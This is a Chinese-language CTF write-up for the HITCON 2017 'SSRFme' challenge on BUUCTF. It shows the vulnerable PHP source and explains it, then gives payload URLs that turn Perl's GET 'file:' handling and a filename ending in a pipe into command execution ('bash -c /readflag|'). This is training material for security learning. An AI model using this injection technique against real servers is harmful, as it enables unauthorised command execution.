[BUUCTF][HITCON 2017]SSRFme
参考
了解新知识
php pathinfo
escapeshellarg
basename
HTTP 请求头中的 Remote_Addr,X-Forwarded-For,X-Real-IP
题目源码
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
理解代码
通过XFF获取了本机的ip,然后输出。变量sandbox的值为"sandbox/拼接md5加密后的(range拼接ip地址)"。创建sandbox值的文件夹,进入该文件夹
然后data值为执行命令(get传参url)所得的字符串文本。dir值为get传参filename的不带后缀,不带路径的文件名值。
把data值放入此filename文件中
解题
1.命令执行
利用perl的open命令有可能会导致命令执行
首先得满足前面的文件存在, 才会继续到open语句, 所以在执行命令前得保证有相应的同名文件:
?url=&filename=bash -c /readflag| 先新建一个名为“bash -c /readflag|”的文件,用于之后的命令执行
?url=file:bash -c /readflag|&filename=aaa 再利用GET执行bash -c /readflag保存到111文件
访问sandbox/md5/aaa(得到flag)
payload:
http://63ae2457-8f28-47fe-9a49-e760da0719f9.node4.buuoj.cn:81/?url=/&filename=yxzy
http://63ae2457-8f28-47fe-9a49-e760da0719f9.node4.buuoj.cn:81/sandbox/230317844a87b41e353b096d0d6a5145/yxzy
http://63ae2457-8f28-47fe-9a49-e760da0719f9.node4.buuoj.cn:81/?url=file:bash%20-c%20/readflag|&filename=bash%20-c%20/readflag|
http://63ae2457-8f28-47fe-9a49-e760da0719f9.node4.buuoj.cn:81/?url=file:bash%20-c%20/readflag|&filename=123
http://63ae2457-8f28-47fe-9a49-e760da0719f9.node4.buuoj.cn:81/sandbox/230317844a87b41e353b096d0d6a5145/123